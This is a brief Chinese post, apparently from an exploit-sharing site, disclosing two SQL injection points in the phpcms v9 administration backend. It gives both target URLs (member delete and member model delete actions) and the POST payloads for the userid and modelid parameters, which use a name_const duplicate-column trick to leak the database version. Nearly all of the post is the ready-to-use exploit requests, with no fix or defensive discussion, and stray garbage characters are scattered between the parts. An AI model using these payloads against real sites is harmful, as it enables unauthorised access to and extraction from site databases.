phpcms两处后台的SQL注入

admin

(一)：
* b1 R& r$ K5 A

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member&a=delete&pc_hash=GlyB7G&id

post

userid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

" z/ @. D: H9 k* D9 ]: f8 q" W
1 x- C. o' ~6 M7 n
: E6 q3 r8 f! E2 `9 ^

(二)：

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member_model&a=delete&pc_hash=GlyB7G

post

modelid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)